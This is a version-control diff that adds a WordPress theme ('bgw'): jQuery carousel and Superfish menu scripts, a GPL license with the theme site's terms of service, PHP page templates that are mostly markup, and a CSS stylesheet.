offsetParent=this.offsetParent(),offset=this.offset(),parentOffset=/^body|html$/i.test(offsetParent[0].tagName)?{top:0,left:0}:offsetParent.offset();offset.top-=num(this,'marginTop');offset.left-=num(this,'marginLeft');parentOffset.top+=num(offsetParent,'borderTopWidth');parentOffset.left+=num(offsetParent,'borderLeftWidth');results={top:offset.top-parentOffset.top,left:offset.left-parentOffset.left};}return results;},offsetParent:function(){var offsetParent=this[0].offsetParent;while(offsetParent&&(!/^body|html$/i.test(offsetParent.tagName)&&jQuery.css(offsetParent,'position')=='static'))offsetParent=offsetParent.offsetParent;return jQuery(offsetParent);}});jQuery.each(['Left','Top'],function(i,name){var method='scroll'+name;jQuery.fn[method]=function(val){if(!this[0])return;return val!=undefined?this.each(function(){this==window||this==document?window.scrollTo(!i?val:jQuery(window).scrollLeft(),i?val:jQuery(window).scrollTop()):this[method]=val;}):this[0]==window||this[0]==document?self[i?'pageYOffset':'pageXOffset']||jQuery.boxModel&&document.documentElement[method]||document.body[method]:this[0][method];};});jQuery.each(["Height","Width"],function(i,name){var tl=i?"Left":"Top",br=i?"Right":"Bottom";jQuery.fn["inner"+name]=function(){return this[name.toLowerCase()]()+num(this,"padding"+tl)+num(this,"padding"+br);};jQuery.fn["outer"+name]=function(margin){return this["inner"+name]()+num(this,"border"+tl+"Width")+num(this,"border"+br+"Width")+(margin?num(this,"margin"+tl)+num(this,"margin"+br):0);};});})(); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/js/slider.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/bgw/js/slider.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,210 @@ + +//** Created: March 19th, 08' +//** Aug 16th, 08'- Updated to v 1.4: + //1) Adds ability to set speed/duration of panel animation (in milliseconds) + //2) Adds persistence support, so the last viewed panel is recalled when viewer returns within same browser session + //3) Adds ability to specify whether panels should stop at the very last and first panel, or wrap around and start all over again + //4) Adds option to specify two navigational image links positioned to the left and right of the Carousel Viewer to move the panels back and forth + +//** Aug 27th, 08'- Nav buttons (if enabled) also repositions themselves now if window is resized + +var stepcarousel={ + ajaxloadingmsg: '
    Fetching Content. Please wait...
    ', //customize HTML to show while fetching Ajax content + defaultbuttonsfade: 0.4, //Fade degree for disabled nav buttons (0=completely transparent, 1=completely opaque) + configholder: {}, + + getCSSValue:function(val){ //Returns either 0 (if val contains 'auto') or val as an integer + return (val=="auto")? 0 : parseInt(val) + }, + + getremotepanels:function($, config){ //function to fetch external page containing the panel DIVs + config.$belt.html(this.ajaxloadingmsg) + $.ajax({ + url: config.contenttype[1], //path to external content + async: true, + error:function(ajaxrequest){ + config.$belt.html('Error fetching content.
    Server Response: '+ajaxrequest.responseText) + }, + success:function(content){ + config.$belt.html(content) + config.$panels=config.$gallery.find('.'+config.panelclass) + stepcarousel.alignpanels($, config) + } + }) + }, + + getoffset:function(what, offsettype){ + return (what.offsetParent)? what[offsettype]+this.getoffset(what.offsetParent, offsettype) : what[offsettype] + }, + + getCookie:function(Name){ + var re=new RegExp(Name+"=[^;]+", "i"); //construct RE to search for target name/value pair + if (document.cookie.match(re)) //if cookie found + return document.cookie.match(re)[0].split("=")[1] //return its value + return null + }, + + setCookie:function(name, value){ + document.cookie = name+"="+value + }, + + fadebuttons:function(config, currentpanel){ + config.$leftnavbutton.fadeTo('fast', currentpanel==0? this.defaultbuttonsfade : 1) + config.$rightnavbutton.fadeTo('fast', currentpanel==config.lastvisiblepanel? this.defaultbuttonsfade : 1) + }, + + addnavbuttons:function(config, currentpanel){ + config.$leftnavbutton=$('').css({zIndex:50, position:'absolute', left:config.offsets.left+config.defaultbuttons.leftnav[1]+'px', top:config.offsets.top+config.defaultbuttons.leftnav[2]+'px', cursor:'hand', cursor:'pointer'}).attr({title:'Back '+config.defaultbuttons.moveby+' panels'}).appendTo('body') + config.$rightnavbutton=$('').css({zIndex:50, position:'absolute', left:config.offsets.left+config.$gallery.get(0).offsetWidth+config.defaultbuttons.rightnav[1]+'px', top:config.offsets.top+config.defaultbuttons.rightnav[2]+'px', cursor:'hand', cursor:'pointer'}).attr({title:'Forward '+config.defaultbuttons.moveby+' panels'}).appendTo('body') + config.$leftnavbutton.bind('click', function(){ //assign nav button event handlers + stepcarousel.stepBy(config.galleryid, -config.defaultbuttons.moveby) + }) + config.$rightnavbutton.bind('click', function(){ //assign nav button event handlers + stepcarousel.stepBy(config.galleryid, config.defaultbuttons.moveby) + }) + if (config.panelbehavior.wraparound==false){ //if carousel viewer should stop at first or last panel (instead of wrap back or forth) + this.fadebuttons(config, currentpanel) + } + }, + + alignpanels:function($, config){ + var paneloffset=0 + config.paneloffsets=[paneloffset] //array to store upper left offset of each panel (1st element=0) + config.panelwidths=[] //array to store widths of each panel + config.$panels.each(function(index){ //loop through panels + var $currentpanel=$(this) + $currentpanel.css({float: 'none', position: 'absolute', left: paneloffset+'px'}) //position panel + $currentpanel.bind('click', function(e){return config.onpanelclick(e.target)}) //bind onpanelclick() to onclick event + paneloffset+=stepcarousel.getCSSValue($currentpanel.css('marginRight')) + parseInt($currentpanel.get(0).offsetWidth || $currentpanel.css('width')) //calculate next panel offset + config.paneloffsets.push(paneloffset) //remember this offset + config.panelwidths.push(paneloffset-config.paneloffsets[config.paneloffsets.length-2]) //remember panel width + }) + config.paneloffsets.pop() //delete last offset (redundant) + var addpanelwidths=0 + var lastpanelindex=config.$panels.length-1 + config.lastvisiblepanel=lastpanelindex + for (var i=config.$panels.length-1; i>=0; i--){ + addpanelwidths+=(i==lastpanelindex? config.panelwidths[lastpanelindex] : config.paneloffsets[i+1]-config.paneloffsets[i]) + if (config.gallerywidth>addpanelwidths){ + config.lastvisiblepanel=i //calculate index of panel that when in 1st position reveals the very last panel all at once based on gallery width + } + } + config.$belt.css({width: paneloffset+'px'}) //Set Belt DIV to total panels' widths + config.currentpanel=(config.panelbehavior.persist)? parseInt(this.getCookie(window[config.galleryid+"persist"])) : 0 //determine 1st panel to show by default + config.currentpanel=(typeof config.currentpanel=="number" && config.currentpanel0)? 'forward' : 'back' //If "steps" is negative, that means backwards + var pindex=config.currentpanel+steps //index of panel to stop at + if (config.panelbehavior.wraparound==false){ //if carousel viewer should stop at first or last panel (instead of wrap back or forth) + pindex=(direction=="back" && pindex<=0)? 0 : (direction=="forward")? Math.min(pindex, config.lastvisiblepanel) : pindex + if (config.defaultbuttons.enable==true){ //if default nav buttons are enabled, fade them in and out depending on if at start or end of carousel + stepcarousel.fadebuttons(config, pindex) + } + } + else{ //else, for normal stepBy behavior + pindex=(pindex>config.paneloffsets.length-1 || pindex<0 && pindex-steps>0)? 0 : (pindex<0)? config.paneloffsets.length+steps : pindex //take into account end or starting panel and step direction + } + var endpoint=config.paneloffsets[pindex]+(pindex==0? 0 : config.beltoffset) //left distance for Belt DIV to travel to + if (pindex==0 && direction=='forward' || config.currentpanel==0 && direction=='back' && config.panelbehavior.wraparound==true){ //decide whether to apply "push pull" effect + config.$belt.animate({left: -config.paneloffsets[config.currentpanel]-(direction=='forward'? 100 : -30)+'px'}, 'normal', function(){ + config.$belt.animate({left: -endpoint+'px'}, config.panelbehavior.speed, function(){config.onslideaction(this)}) + }) + } + else + config.$belt.animate({left: -endpoint+'px'}, config.panelbehavior.speed, function(){config.onslideaction(this)}) + config.currentpanel=pindex + this.statusreport(galleryid) + }, + + statusreport:function(galleryid){ + var config=stepcarousel.configholder[galleryid] + var startpoint=config.currentpanel //index of first visible panel + var visiblewidth=0 + for (var endpoint=startpoint; endpointconfig.gallerywidth){ + break + } + } + startpoint+=1 //format startpoint for user friendiness + endpoint=(endpoint+1==startpoint)? startpoint : endpoint //If only one image visible on the screen and partially hidden, set endpoint to startpoint + var valuearray=[startpoint, endpoint, config.panelwidths.length] + for (var i=0; i\n#'+config.galleryid+'{overflow: hidden;}\n') + jQuery(document).ready(function($){ + config.$gallery=$('#'+config.galleryid) + config.gallerywidth=config.$gallery.width() + config.offsets={left:stepcarousel.getoffset(config.$gallery.get(0), "offsetLeft"), top:stepcarousel.getoffset(config.$gallery.get(0), "offsetTop")} + config.$belt=config.$gallery.find('.'+config.beltclass) //Find Belt DIV that contains all the panels + config.$panels=config.$gallery.find('.'+config.panelclass) //Find Panel DIVs that each contain a slide + config.onpanelclick=(typeof config.onpanelclick=="undefined")? function(target){} : config.onpanelclick //attach custom "onpanelclick" event handler + config.onslideaction=(typeof config.onslide=="undefined")? function(){} : function(beltobj){$(beltobj).stop(); config.onslide()} //attach custom "onslide" event handler + config.oninit=(typeof config.oninit=="undefined")? function(){} : config.oninit //attach custom "oninit" event handler + config.beltoffset=stepcarousel.getCSSValue(config.$belt.css('marginLeft')) //Find length of Belt DIV's left margin + config.statusvars=config.statusvars || [] //get variable names that will hold "start", "end", and "total" slides info + config.$statusobjs=[$('#'+config.statusvars[0]), $('#'+config.statusvars[1]), $('#'+config.statusvars[2])] + config.currentpanel=0 + stepcarousel.configholder[config.galleryid]=config //store config parameter as a variable + if (config.contenttype[0]=="ajax" && typeof config.contenttype[1]!="undefined") //fetch ajax content? + stepcarousel.getremotepanels($, config) + else + stepcarousel.alignpanels($, config) //align panels and initialize gallery + }) //end document.ready + jQuery(window).bind('unload', function(){ //clean up + if (config.panelbehavior.persist){ + stepcarousel.setCookie(window[config.galleryid+"persist"], config.currentpanel) + } + jQuery.each(config, function(ai, oi){ + oi=null + }) + config=null + }) + } +} + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/js/superfish.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/bgw/js/superfish.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,120 @@ +/* + * Superfish v1.4.8 - jQuery menu widget + * Copyright (c) 2008 Joel Birch + * + * Dual licensed under the MIT and GPL licenses: + * http://www.opensource.org/licenses/mit-license.php + * http://www.gnu.org/licenses/gpl.html + * + * CHANGELOG: http://users.tpg.com.au/j_birch/plugins/superfish/changelog.txt + */ + +;(function($){ + $.fn.superfish = function(op){ + + var sf = $.fn.superfish, + c = sf.c, + $arrow = $([' »'].join('')), + over = function(){ + var $$ = $(this), menu = getMenu($$); + clearTimeout(menu.sfTimer); + $$.showSuperfishUl().siblings().hideSuperfishUl(); + }, + out = function(){ + var $$ = $(this), menu = getMenu($$), o = sf.op; + clearTimeout(menu.sfTimer); + menu.sfTimer=setTimeout(function(){ + o.retainPath=($.inArray($$[0],o.$path)>-1); + $$.hideSuperfishUl(); + if (o.$path.length && $$.parents(['li.',o.hoverClass].join('')).length<1){over.call(o.$path);} + },o.delay); + }, + getMenu = function($menu){ + var menu = $menu.parents(['ul.',c.menuClass,':first'].join(''))[0]; + sf.op = sf.o[menu.serial]; + return menu; + }, + addArrow = function($a){ $a.addClass(c.anchorClass).append($arrow.clone()); }; + + return this.each(function() { + var s = this.serial = sf.o.length; + var o = $.extend({},sf.defaults,op); + o.$path = $('li.'+o.pathClass,this).slice(0,o.pathLevels).each(function(){ + $(this).addClass([o.hoverClass,c.bcClass].join(' ')) + .filter('li:has(ul)').removeClass(o.pathClass); + }); + sf.o[s] = sf.op = o; + + $('li:has(ul)',this)[($.fn.hoverIntent && !o.disableHI) ? 'hoverIntent' : 'hover'](over,out).each(function() { + if (o.autoArrows) addArrow( $('>a:first-child',this) ); + }) + .not('.'+c.bcClass) + .hideSuperfishUl(); + + var $a = $('a',this); + $a.each(function(i){ + var $li = $a.eq(i).parents('li'); + $a.eq(i).focus(function(){over.call($li);}).blur(function(){out.call($li);}); + }); + o.onInit.call(this); + + }).each(function() { + menuClasses = [c.menuClass]; + if (sf.op.dropShadows && !($.browser.msie && $.browser.version < 7)) menuClasses.push(c.shadowClass); + $(this).addClass(menuClasses.join(' ')); + }); + }; + + var sf = $.fn.superfish; + sf.o = []; + sf.op = {}; + sf.IE7fix = function(){ + var o = sf.op; + if ($.browser.msie && $.browser.version > 6 && o.dropShadows && o.animation.opacity!=undefined) + this.toggleClass(sf.c.shadowClass+'-off'); + }; + sf.c = { + bcClass : 'sf-breadcrumb', + menuClass : 'sf-js-enabled', + anchorClass : 'sf-with-ul', + arrowClass : 'sf-sub-indicator', + shadowClass : 'sf-shadow' + }; + sf.defaults = { + hoverClass : 'sfHover', + pathClass : 'overideThisToUse', + pathLevels : 3, + delay : 800, + animation : {opacity:'show'}, + speed : 'normal', + autoArrows : true, + dropShadows : true, + disableHI : false, // true disables hoverIntent detection + onInit : function(){}, // callback functions + onBeforeShow: function(){}, + onShow : function(){}, + onHide : function(){} + }; + $.fn.extend({ + hideSuperfishUl : function(){ + var o = sf.op, + not = (o.retainPath===true) ? o.$path : ''; + o.retainPath = false; + var $ul = $(['li.',o.hoverClass].join(''),this).add(this).not(not).removeClass(o.hoverClass) + .find('>ul').hide().css('visibility','hidden'); + o.onHide.call($ul); + return this; + }, + showSuperfishUl : function(){ + var o = sf.op, + sh = sf.c.shadowClass+'-off', + $ul = this.addClass(o.hoverClass) + .find('>ul:hidden').css('visibility','visible'); + sf.IE7fix.call($ul); + o.onBeforeShow.call($ul); + $ul.animate(o.animation,o.speed,function(){ sf.IE7fix.call($ul); o.onShow.call($ul); }); + return this; + } + }); + +})(jQuery); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/license.txt --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/bgw/license.txt Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,119 @@ +This wordpress theme must be used with accordance to it's creator's license. You can find the link to theme creator's website in your Wordpress admin panel. Most of themes downloaded from themeswp.com are released under GNU GPL license. Also when downloading theme from themeswp.com you should read and agree with terms of services: + +1) GNU GPL License + +GNU GENERAL PUBLIC LICENSE +Version 2, June 1991 + +Copyright (C) 1989, 1991 Free Software Foundation, Inc. +51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA + +Everyone is permitted to copy and distribute verbatim copies +of this license document, but changing it is not allowed. + +Preamble + +The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too. + +When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. + +To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. + +For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. + +We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. + +Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. + +Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. + +The precise terms and conditions for copying, distribution and modification follow. +TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + +0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. + +1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. + +You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. + +2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. + b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. + c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. + +3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, + b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, + c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. + +If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. + +4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. + +5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. + +6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. + +7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. + +It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. + +This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. + +8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. + +9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. + +Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. + +10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. + +NO WARRANTY + +11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + +12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. + +2) Terms of Service + +Please read carefully the Terms of Services below. The purchase or use of any of the Themeswp products or services implies that you have read and accepted the Terms and Conditions of their use. + +General conditions +freeminders (www.freeminders.org) (hereinafter referred to as the “Site”) provides access to Files. All Files are distributed from open sources and may not be supported by their respective owners, may be out of date and only for acquaintance. + +Ownership +Site do not claim intellectual property right or exclusive ownership to any of Files, modified or unmodified. All Files are the property of their respective owners. All Files are provided “as is” without warranty of any kind, either expressed or implied. In no event shall our company or its agents be liable for any damages including, but not limited to, direct, indirect, special, punitive, incidental or consequential, or other losses arising out of the use of or inability to use our Files. + +Copyrights +All trade marks, trade names, company names, slogans, logos, and any other copyright items, which can be seen on the Site pages in various contexts, are the property of their respective owners. You have no right to copy, distribute or use them without written permission from the owners. The Site Administration can not control actions of each users therefore user is responsible for any illegitimate use of the Site’s materials or/and Services. We want you to know that we do not have any copyrighted or illegal content on Themeswp. However, we still can remove Files from our site if the copyright owner would like us to do so. The following procedure will be performed if: +You are, or your company is the copyright holder of this material +You provide the URLs to the themes to be removed. +You provide the full name(s) and list of content that should be removed +You give us complete contact information (address, phone number, email and fax) +Please, contact us admin[at]themeswp.com, only if your request follows through with all of these rules. Please, be polite. We will process your request within 5 business days only if it corresponds to the above mentioned rules. + +Prohibited Use +The Client has no right to download any Files from the Site if this violates the law of his country. + +Other conditions +The Administration of the Site reserves the right to change, amend, and supplement this Agreement on an occasional basis. Administration shall undertake to notify you of all changes to the present Agreement. In the event that you disagree with any clause of the amended Agreement, you should terminate your registration on the Site immediately and refrain from using it. User should not use data received from the Site for any illegal purposes. The Site Administration shall not be held liable for the possible use of information received from the Site for any purposes prohibited by legislation or infringing copyright. The users are personally responsible for any unlawful or unauthorized use of any content of the Site. Most of Files are free for acquaintance. Themeswp.com reserves the right to place text links at any page of the site, where any downloaded from themeswp.com themplate was used, link(s) may lead to any site, except ones with illegal content. If user, downloaded any themplate from themeswp.com and then decided to change the template, link(s) will remain on the pages for four calendar years after template was changed. In case user wants to remove the link(s) earlier then 4 years placement rights will expire, he/she should write the request to admin[at]themeswp.com, administration will manually remove the link(s). + +Responsibility +Site’s Administration in not responsible for any interruptions in the Site operation. Site’s Administration in not responsible for the quality or/and contents of the Files which are being provided access to. Site’s Administration can not be held responsible for the further use of the Files downloaded by user. User is responsible for keeping his password and login information safe. User if responsible for downloading any materials (including Files) from the Site. + +Warranty +Themeswp does not warranty or guarantee these templates in any manner. We cannot guarantee they will function with all 3rd party components, plugins or web browsers. Browser compatibility should be tested against the demonstration templates on the demo server. diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/page.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/bgw/page.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,46 @@ + +
    +
    +
    + + + + + +
    +
    +
    +    Posted by +
    +

    + +
    + +
    + +
    +
    + + + + + + + + +

    Not Found

    +

    Sorry, but you are looking for something that isn't here.

    + + + +
    +
    + + + +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/screenshot.png Binary file web/wp-content/themes/bgw/screenshot.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/searchform.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/bgw/searchform.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,5 @@ +
    +
    + +
    +
    \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/sidebar.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/bgw/sidebar.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,8 @@ + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/sidebar2.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/bgw/sidebar2.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,12 @@ +
    +
    + + + + + + + +
    +
    + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/sidebar3.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/bgw/sidebar3.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,7 @@ +
    +
    + + +
    +
    + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/single.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/bgw/single.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,46 @@ + +
    +
    +
    + + + + + +
    +
    +
    +    Posted by +
    +

    + +
    + +
    + +
    +
    + + + + + + + + +

    Not Found

    +

    Sorry, but you are looking for something that isn't here.

    + + + +
    +
    + + + +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/style.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/bgw/style.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,490 @@ +/* +Theme Name: BGW +Theme URI: http://www.simplewpthemes.com +Description: 3 sidebar theme, simple & clean +Version: 1.0 +Author: sin2384 +Author URI: http://www.simplewpthemes.com +Tags: gray, fixed width, two columns, widgetized +*/ +@import url("css/comments.css"); +@import url("css/reset.css"); +@import url("css/superfish.css"); +@import url("css/featuredcats.css"); +* { + margin: 0; + padding: 0; +} +/***************LINKS*************************/ + +a:link, a:visited { + color: #B40000; + text-decoration: none; +} + +a:hover { + color: #000; +} +/***************END LINKS*************************/ + +html body { + background: #a6a6a5; + font-size: 12px; + font-family: Tahoma; +} + +/***************LAYOUT*************************/ + +#mainwrap { + margin: 0 auto; + width: 960px; + clear: both; +} +#header { + width: 100%; + height: 133px; + background: url(images/header.gif) repeat-x; +} +#headin { + margin: 0 auto; + width: 960px; +} + + +#blogtitle { + color: #fff; + text-transform: uppercase; + float: left; + position: relative; + top: 10px; + left: 0px; +} +#heading { + color: #fff; +} + +.description { + text-transform: none; + margin-left: 7px; + margin-bottom: 24px; + +} +.adv { + float: right; + margin: 0; + padding: 0; + position: relative; + top: 12px; +} + +/***************NAVIGATION*************************/ + + +#top { + clear: both; + width: 960px; + height: 40px; + position: relative; + z-index: 1; + top: 17px; +} + + + +#top li { + /* + ili ides vako + obrisi display:inline; + float: left; + background: url(images/navleft.jpg) no-repeat scroll center left; + margin: 2px; + */ +} + +#top li a { + float: left; + display: block; + padding: 14px; + color: #fff; + /* + display: block; + padding: 10px; + color: #ccc; + background: url(images/navright.jpg) no-repeat scroll center right; + */ +} +#top li ul { + margin-top: 10px; +} + + +#top li li { + background: #A6A6A5; + width: 250px; +} +#top li ul li:hover, #top li 